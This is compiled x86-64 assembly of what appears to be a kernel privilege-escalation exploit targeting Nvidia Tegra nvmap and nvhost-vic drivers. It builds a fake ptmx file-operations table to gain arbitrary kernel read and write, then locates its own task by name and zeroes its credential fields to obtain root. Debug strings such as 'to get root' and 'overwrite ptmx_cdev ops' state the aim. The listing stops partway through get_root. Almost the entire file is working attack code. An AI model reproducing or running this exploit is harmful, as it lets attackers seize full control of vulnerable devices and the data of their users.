	.file	"162643671.c"
	.intel_syntax noprefix
	.text
	.local	my_task
	.comm	my_task,8,8
	.data
	.align 4
	.type	task_offset, @object
	.size	task_offset, 4
task_offset:
	.long	616
	.align 4
	.type	comm_offset, @object
	.size	comm_offset, 4
comm_offset:
	.long	1168
	.align 4
	.type	cred_offset, @object
	.size	cred_offset, 4
cred_offset:
	.long	1160
	.local	ptmx_fd
	.comm	ptmx_fd,4,4
	.local	fake_ptmx_fops
	.comm	fake_ptmx_fops,8,8
	.section	.rodata
	.align 8
.LC0:
	.string	"search task list end, can't get task"
.LC1:
	.string	"pvR_timewQ"
	.text
	.type	get_task_by_comm, @function
get_task_by_comm:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	add	rsp, -128
	mov	QWORD PTR -120[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -92[rbp], 0
	mov	QWORD PTR -64[rbp], 0
	mov	QWORD PTR -56[rbp], 0
	mov	QWORD PTR -48[rbp], 0
	mov	QWORD PTR -40[rbp], 0
	mov	QWORD PTR -32[rbp], 0
	mov	QWORD PTR -24[rbp], 0
	mov	WORD PTR -16[rbp], 0
	mov	eax, DWORD PTR task_offset[rip]
	mov	edx, eax
	movabs	rax, -274862864352
	add	rax, rdx
	mov	QWORD PTR -88[rbp], rax
	mov	rax, QWORD PTR -88[rbp]
	mov	QWORD PTR -80[rbp], rax
	mov	DWORD PTR -96[rbp], 0
	jmp	.L2
.L7:
	mov	rax, QWORD PTR -88[rbp]
	add	rax, 8
	mov	QWORD PTR -72[rbp], rax
	lea	rdx, -88[rbp]
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read
	mov	DWORD PTR -92[rbp], eax
	mov	rax, QWORD PTR -88[rbp]
	cmp	QWORD PTR -80[rbp], rax
	jne	.L3
	lea	rdi, .LC0[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L8
.L3:
	mov	rax, QWORD PTR -88[rbp]
	mov	edx, DWORD PTR task_offset[rip]
	mov	ecx, edx
	sub	rax, rcx
	mov	rdx, rax
	mov	eax, DWORD PTR comm_offset[rip]
	mov	eax, eax
	add	rax, rdx
	mov	QWORD PTR -72[rbp], rax
	lea	rdx, -108[rbp]
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read_32
	mov	DWORD PTR -92[rbp], eax
	mov	rax, QWORD PTR -88[rbp]
	mov	edx, DWORD PTR task_offset[rip]
	mov	ecx, edx
	sub	rax, rcx
	mov	rdx, rax
	mov	eax, DWORD PTR comm_offset[rip]
	mov	eax, eax
	add	rax, rdx
	add	rax, 4
	mov	QWORD PTR -72[rbp], rax
	lea	rdx, -104[rbp]
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read_32
	mov	DWORD PTR -92[rbp], eax
	mov	rax, QWORD PTR -88[rbp]
	mov	edx, DWORD PTR task_offset[rip]
	mov	ecx, edx
	sub	rax, rcx
	mov	rdx, rax
	mov	eax, DWORD PTR comm_offset[rip]
	mov	eax, eax
	add	rax, rdx
	add	rax, 8
	mov	QWORD PTR -72[rbp], rax
	lea	rdx, -100[rbp]
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read_32
	mov	DWORD PTR -92[rbp], eax
	mov	eax, DWORD PTR -108[rbp]
	mov	DWORD PTR -64[rbp], eax
	lea	rax, -64[rbp]
	add	rax, 4
	mov	edx, DWORD PTR -104[rbp]
	mov	DWORD PTR [rax], edx
	lea	rax, -64[rbp]
	add	rax, 8
	mov	edx, DWORD PTR -100[rbp]
	mov	DWORD PTR [rax], edx
	lea	rax, -64[rbp]
	mov	edx, 10
	lea	rsi, .LC1[rip]
	mov	rdi, rax
	call	strncmp@PLT
	test	eax, eax
	jne	.L5
	mov	rax, QWORD PTR -88[rbp]
	mov	edx, DWORD PTR task_offset[rip]
	mov	ecx, edx
	sub	rax, rcx
	mov	rdx, rax
	mov	rax, QWORD PTR -120[rbp]
	mov	QWORD PTR [rax], rdx
	jmp	.L6
.L5:
	add	DWORD PTR -96[rbp], 1
.L2:
	cmp	DWORD PTR -96[rbp], 999
	jle	.L7
.L6:
	mov	eax, 0
.L8:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	get_task_by_comm, .-get_task_by_comm
	.section	.rodata
.LC2:
	.string	"[-] get myself fail!"
.LC3:
	.string	"invalid task address!"
	.text
	.type	do_root, @function
do_root:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdi, my_task[rip]
	call	get_task_by_comm
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], 0
	je	.L11
	lea	rdi, .LC2[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L18
.L11:
	mov	rax, QWORD PTR my_task[rip]
	test	rax, rax
	je	.L13
	mov	rax, QWORD PTR my_task[rip]
	movabs	rdx, -274877906945
	cmp	rax, rdx
	ja	.L14
.L13:
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, -2
	jmp	.L18
.L14:
	mov	eax, DWORD PTR cred_offset[rip]
	mov	edx, eax
	mov	rax, QWORD PTR my_task[rip]
	add	rdx, rax
	lea	rax, -32[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	kernel_read
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -32[rbp]
	movabs	rdx, -274877906945
	cmp	rax, rdx
	ja	.L15
	mov	eax, -3
	jmp	.L18
.L15:
	mov	QWORD PTR -24[rbp], 1
	mov	rax, QWORD PTR -32[rbp]
	add	rax, 16
	mov	QWORD PTR -16[rbp], rax
	lea	rdx, -40[rbp]
	mov	rax, QWORD PTR -16[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read_32
	mov	DWORD PTR -36[rbp], eax
	mov	eax, DWORD PTR -40[rbp]
	cmp	eax, 1131636068
	je	.L16
	mov	eax, DWORD PTR -40[rbp]
	cmp	eax, 1147494724
	jne	.L17
.L16:
	add	QWORD PTR -24[rbp], 4
.L17:
	mov	rax, QWORD PTR -24[rbp]
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 1
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 2
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 3
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 4
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 5
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 6
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 7
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 9
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 10
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 11
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 12
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 13
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 14
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 15
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 16
	lea	rdx, 0[0+rax*4]
	mov	rax, QWORD PTR -32[rbp]
	add	rax, rdx
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, -1
	mov	rdi, rax
	call	kernel_write_32
	mov	DWORD PTR -36[rbp], eax
	mov	esi, 0
	movabs	rdi, -274860487924
	call	kernel_write_32
	mov	eax, 0
.L18:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L19
	call	__stack_chk_fail@PLT
.L19:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	do_root, .-do_root
	.type	restore, @function
restore:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	movabs	rax, -274860432052
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	esi, -64
	mov	rdi, rax
	call	kernel_write_32
	movabs	rax, -274860432048
	mov	QWORD PTR -8[rbp], rax
	mov	rdx, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_write
	mov	rax, QWORD PTR -8[rbp]
	lea	rdx, 8[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	kernel_write
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	restore, .-restore
	.section	.rodata
.LC4:
	.string	"/dev/nvmap"
	.align 8
.LC5:
	.string	"[-] Failed to open nvmap device (%d-%s)\n"
	.align 8
.LC6:
	.string	"[-] Ioctl nvmap fail(%s - %d)\n"
	.text
	.type	map_nvmap_handle, @function
map_nvmap_handle:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 88
	.cfi_offset 3, -24
	mov	QWORD PTR -88[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -72[rbp], 0
	mov	edx, 0
	mov	esi, 0
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	DWORD PTR -68[rbp], 0
	jns	.L22
	mov	DWORD PTR -72[rbp], -1
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	rbx, rax
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	rdx, rbx
	mov	esi, eax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L23
.L22:
	lea	rax, -56[rbp]
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	DWORD PTR -56[rbp], 65536
	mov	DWORD PTR -64[rbp], -1073197568
	mov	ecx, DWORD PTR -64[rbp]
	lea	rdx, -56[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -72[rbp], eax
	cmp	DWORD PTR -72[rbp], -1
	jne	.L24
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L25
.L24:
	mov	eax, DWORD PTR -52[rbp]
	mov	DWORD PTR -60[rbp], eax
	lea	rax, -48[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -60[rbp]
	mov	DWORD PTR -48[rbp], eax
	mov	DWORD PTR -36[rbp], 4096
	mov	DWORD PTR -44[rbp], 1073741824
	mov	DWORD PTR -40[rbp], 1
	mov	DWORD PTR -64[rbp], 1074810371
	mov	ecx, DWORD PTR -64[rbp]
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -68[rbp]
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -72[rbp], eax
	cmp	DWORD PTR -72[rbp], -1
	jne	.L26
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L25
.L26:
	mov	rax, QWORD PTR -88[rbp]
	mov	edx, DWORD PTR -60[rbp]
	mov	DWORD PTR [rax], edx
.L25:
	mov	eax, DWORD PTR -68[rbp]
	mov	edi, eax
	call	close@PLT
.L23:
	mov	eax, DWORD PTR -72[rbp]
	mov	rcx, QWORD PTR -24[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L28
	call	__stack_chk_fail@PLT
.L28:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	map_nvmap_handle, .-map_nvmap_handle
	.type	kernel_write_32, @function
kernel_write_32:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 72
	movabs	rsi, -274869353620
	mov	QWORD PTR [rax], rsi
	mov	rax, QWORD PTR -24[rbp]
	sub	rax, 16
	mov	QWORD PTR -8[rbp], rax
	mov	eax, DWORD PTR ptmx_fd[rip]
	mov	rcx, QWORD PTR -8[rbp]
	mov	edx, DWORD PTR -28[rbp]
	mov	esi, eax
	mov	edi, 16
	mov	eax, 0
	call	eabi_syscall@PLT
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	kernel_write_32, .-kernel_write_32
	.type	kernel_write, @function
kernel_write:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR -32[rbp]
	mov	DWORD PTR -4[rbp], eax
	mov	edx, DWORD PTR -4[rbp]
	mov	rax, QWORD PTR -24[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	kernel_write_32
	mov	rax, QWORD PTR -32[rbp]
	shr	rax, 32
	mov	DWORD PTR -4[rbp], eax
	mov	rax, QWORD PTR -24[rbp]
	lea	rdx, 4[rax]
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	kernel_write_32
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	kernel_write, .-kernel_write
	.section	.rodata
.LC7:
	.string	"/dev/ptmx"
.LC8:
	.string	"[-] Open ptmx fail (%s - %d)\n"
	.text
	.type	rop_init, @function
rop_init:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 8
	.cfi_offset 3, -24
	mov	esi, 0
	lea	rdi, .LC7[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR ptmx_fd[rip], eax
	mov	eax, DWORD PTR ptmx_fd[rip]
	cmp	eax, -1
	jne	.L34
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC8[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, -1
	jmp	.L35
.L34:
	mov	eax, 0
.L35:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	rop_init, .-rop_init
	.type	rop_close, @function
rop_close:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	eax, DWORD PTR ptmx_fd[rip]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	rop_close, .-rop_close
	.type	kernel_read_32, @function
kernel_read_32:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 72
	movabs	rcx, -274874509320
	mov	QWORD PTR [rax], rcx
	mov	rax, QWORD PTR -24[rbp]
	sub	rax, 16
	mov	QWORD PTR -8[rbp], rax
	call	__errno_location@PLT
	mov	DWORD PTR [rax], 0
	mov	eax, DWORD PTR ptmx_fd[rip]
	mov	rdx, QWORD PTR -8[rbp]
	mov	rcx, rdx
	mov	edx, -559038737
	mov	esi, eax
	mov	edi, 16
	mov	eax, 0
	call	eabi_syscall@PLT
	mov	DWORD PTR -12[rbp], eax
	mov	edx, DWORD PTR -12[rbp]
	mov	rax, QWORD PTR -32[rbp]
	mov	DWORD PTR [rax], edx
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	kernel_read_32, .-kernel_read_32
	.type	kernel_read, @function
kernel_read:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdx, -16[rbp]
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	kernel_read_32
	mov	rax, QWORD PTR -24[rbp]
	lea	rdx, 4[rax]
	lea	rax, -12[rbp]
	mov	rsi, rax
	mov	rdi, rdx
	call	kernel_read_32
	mov	eax, DWORD PTR -16[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -12[rbp]
	mov	eax, eax
	sal	rax, 32
	or	rdx, rax
	mov	rax, QWORD PTR -32[rbp]
	mov	QWORD PTR [rax], rdx
	nop
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L41
	call	__stack_chk_fail@PLT
.L41:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	kernel_read, .-kernel_read
	.section	.rodata
.LC9:
	.string	"[+] alloc nvmap handle: %d\n"
	.align 8
.LC10:
	.string	"[-] Failed to mmap landing (%d-%s)\n"
.LC11:
	.string	"[+] landing mmap'ed @ %p\n"
.LC12:
	.string	"/dev/nvhost-vic"
	.align 8
.LC13:
	.string	"[-] Open nvhost-vic fail (%s - %d)\n"
.LC14:
	.string	"[+] open device nvhost-vic"
	.align 8
.LC15:
	.string	"[-] Ioctl nvhost-vic fail(%s - %d)\n"
.LC16:
	.string	"[+] va position: 0x%lx\n"
	.align 8
.LC17:
	.string	"[-] shellcode mmap failed (%d-%s)\n"
	.align 8
.LC18:
	.string	"[+] prepare fake_ptmx_fops, mmap'ed @ %p.\n"
	.align 8
.LC19:
	.string	"[+] clear ptmx_cdev list first"
.LC20:
	.string	"[+] overwrite ptmx_cdev ops"
.LC21:
	.string	"[+] to get root ..."
.LC22:
	.string	"[+] restore "
	.text
	.type	get_root, @function
get_root:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 104
	.cfi_offset 3, -24
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -92[rbp], 0
	lea	rax, -100[rbp]
	mov	rdi, rax
	call	map_nvmap_handle
	mov	DWORD PTR -92[rbp], eax
	cmp	DWORD PTR -92[rbp], -1
	je	.L60
	mov	eax, DWORD PTR -100[rbp]
	mov	esi, eax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	mov	r9d, 0
	mov	r8d, -1
	mov	ecx, 34
	mov	edx, 3
	mov	esi, 268435456
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR -80[rbp], rax
	cmp	QWORD PTR -80[rbp], -1
	jne	.L45
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	rbx, rax
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	rdx, rbx
	mov	esi, eax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -92[rbp], -1
	jmp	.L44
.L45:
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rax
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -80[rbp]
	mov	edx, 268435456
	mov	esi, 255
	mov	rdi, rax
	call	memset@PLT
	mov	esi, 0
	lea	rdi, .LC12[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -88[rbp], eax
	cmp	DWORD PTR -88[rbp], -1
	jne	.L46
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -92[rbp], -1
	jmp	.L47
.L46:
	lea	rdi, .LC14[rip]
	call	puts@PLT
	lea	rax, -48[rbp]
	mov	edx, 24
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -100[rbp]
	mov	DWORD PTR -32[rbp], eax
	mov	rax, QWORD PTR -80[rbp]
	movabs	rdx, 549755813888
	add	rax, rdx
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], 0
	mov	DWORD PTR -84[rbp], -1072150417
	mov	ecx, DWORD PTR -84[rbp]
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -92[rbp], eax
	cmp	DWORD PTR -92[rbp], -1
	jne	.L48
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L49
.L48:
	mov	DWORD PTR -96[rbp], 0
	jmp	.L50
.L53:
	mov	eax, DWORD PTR -96[rbp]
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	rax, QWORD PTR -80[rbp]
	add	rax, rdx
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR -72[rbp], rax
	cmp	QWORD PTR -72[rbp], 0
	je	.L61
	add	DWORD PTR -96[rbp], 1
.L50:
	cmp	DWORD PTR -96[rbp], 33554431
	jle	.L53
	jmp	.L52
.L61:
	nop
.L52:
	mov	eax, DWORD PTR -96[rbp]
	sal	eax, 3
	cdqe
	movabs	rdx, -549755813888
	add	rax, rdx
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -64[rbp]
	mov	rsi, rax
	lea	rdi, .LC16[rip]
	mov	eax, 0
	call	printf@PLT
	mov	r9d, 0
	mov	r8d, -1
	mov	ecx, 49
	mov	edx, 3
	mov	esi, 268435456
	mov	edi, 65536
	call	mmap@PLT
	mov	QWORD PTR -56[rbp], rax
	cmp	QWORD PTR -56[rbp], -1
	jne	.L54
	mov	DWORD PTR -92[rbp], -1
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	rbx, rax
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	rdx, rbx
	mov	esi, eax
	lea	rdi, .LC17[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L49
.L54:
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rax
	lea	rdi, .LC18[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	edx, 268435456
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	QWORD PTR fake_ptmx_fops[rip], 17474592
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 8
	movabs	rcx, -274876250576
	mov	QWORD PTR [rax], rcx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 16
	movabs	rcx, -274873789784
	mov	QWORD PTR [rax], rcx
